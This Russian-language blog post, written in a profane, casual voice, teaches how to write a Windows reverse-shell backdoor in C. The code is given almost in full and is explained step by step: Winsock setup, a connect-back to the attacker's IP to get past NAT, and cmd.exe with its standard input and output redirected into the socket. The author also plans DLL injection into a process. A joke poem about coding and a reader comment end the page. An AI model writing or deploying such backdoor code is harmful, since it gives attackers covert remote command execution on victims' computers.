стоп.хватит.хватит про*бывать время в п*зду.вставай.садись за комп.делай что то пид*рас.
наверное еще помогло сесть то что сегодня была только одна пара =Р
короче соль:я не помню где я узнал эту идею:мб спизд*л у кого,может само пришло в голову.
ну смысл вот в чем:
пишем шелл(бэкдор если угодно) который будет сам устанавливать соединение с машиной атакующего (реверс коннект).В чем соль спросите вы?-обход NAT за которым могу сидеть юзверы.
Пишем на сокетах.В виду того что я прочел книженцию по "С", то теперь хочу потренироваться немного,так что код на си.за возможную криворукость в коде не бейте:)
Но это не вся идея.Я хочу сделать так: инжект ДЛЛ в процесс и тогда открытие терминала у "нас".
сегодня я напишу шелл, завтра докидаю длл.
Поехали.
#include <winsock2.h>
#include <stdio.h>
все что понадобится.
#pragma comment(lib, "Ws2_32.lib")
говорим компилю что нужна эта библиотека.
SOCKET sock;
WSADATA wsa;
STARTUPINFO s_info;
PROCESS_INFORMATION p_info;
struct sockaddr_in sock_struct;
int port=6667;
char *ip="127.0.0.1";
переменные.дальше объясню что как.
сокеты это программный интерфейс, обеспечивающий обмен данными.
бывают клиентские и серверные.каждый процесс может создать серверный сокет и забиндить его к порту (как видно в переменных порт и айпи).
если допилить нормально этот бэк,то в айпи следует использовать "белый" для 100% коннекта в вашей машине.
Первым шагом идет проверка, присутствуют ли сокеты на машине.
есть пара версий сокетов, я использую 1.1
инициализация производится с помощью команды WSAStartup
WSAStartup(0x101, &wsa);
используется 2 аргумента- версия и указатель на структуру.
если все прошло гладко(я обойдусь без проверок,все таки я ленив ;)) то мы можем попробовать открыть сокет. ф-я WSASocket
sock=WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL, NULL, NULL);
у нее 3 действенных аргумента:семейство,тип и протокол.
протокол ясен пень transmission. Сокет бывает двух типов STREAM или DATAGRAM. Первый тип ориентирован на соединение,второй-отсылка пакетов.
нам подходит первое.В версии 1.1 доступно только одно семейство ;)
Остается последнее дело-установка соединения.Для этого нужно заполнить структуру SOCKADDR и создать процесс перенаправив потоки ввода-вывода в сокет,затем просто висеть.
sock_struct.sin_family=AF_INET;
sock_struct.sin_addr.s_addr=inet_addr(ip);
объясню:заполнить семейство-просто.а вот с ипом и портом чуть по иному.
порт это число,которое должно быть в сетевом порядке байт.преобразуем с помощью htons.
(подробнее в вики,там дохрена инфы).
в случае с ипом-нам нужен адрес,а адрес обычно в форме имя_домен.по этому опять нужно преобразовать.в сях есть ф-я которая быстро это сделает.
Все,производим коннект
connect(sock,(SOCKADDR*)&sock_struct,sizeof(sock_struct));
если прошло-надо заполнить структуру startupinfo (используется в связке с createprocess) что бы определить терминал.
memset(&s_info,0,sizeof(s_info));
s_info.cb=sizeof(s_info);
s_info.dwFlags=STARTF_USESTDHANDLES;
s_info.hStdInput = (HANDLE)sock;
s_info.hStdOutput= (HANDLE)sock;
s_info.hStdError = (HANDLE)sock;
устанавливаем размер структуры равный размеру структуры (ХАХА)
устанавливаем стандартный ввод-вывод-обработку ошибок данных.(важно что бы при таком заполнении параметр createprocess -fInheritHandles был TRUE).
и перенаправляем потоки ввода-вывода в сокет.
создаем процесс и зависаем
CreateProcess(NULL,"cmd.exe",NULL,NULL,TRUE,0,NULL,NULL,&s_info,&p_info);
WaitForSingleObject(p_info.hProcess,INFINITE);
Вот и все.Для проверки можно использовать нэткат:
ПОСТ СКРИПТУМ:
надеюсь завтра я не о*уею и доделаю идею до конца,потому что идея реально прикольная.
ПОСТ ПОСТ СКРИПТУМ:
ЗАЧЕМ УСЛОЖНЯТЬ ЖИЗНЬ?
скучаешь по кому-то? ---- ПИШИ КОД
хочешь встретиться? ---- ПИШИ КОД
тебя не понимают? ---- КОМПИЛЯТОР ТЕБЯ ПОЙМЕТ
есть вопросы? ---- ГУГЛ ТЕБЕ ОТВЕТИТ
не нравится что-то? ---- ТЫ-ДЕСТРУКТОР
нравится что-то? ---- ТЫ-КОНСТРУКТОР
хочется чего-то? ---- ПИШИ КОД
ЛЮБИШЬ кого-то? ---- #include <brain.h>
ПОст скриптум,прямо в точку!
ОтветитьУдалить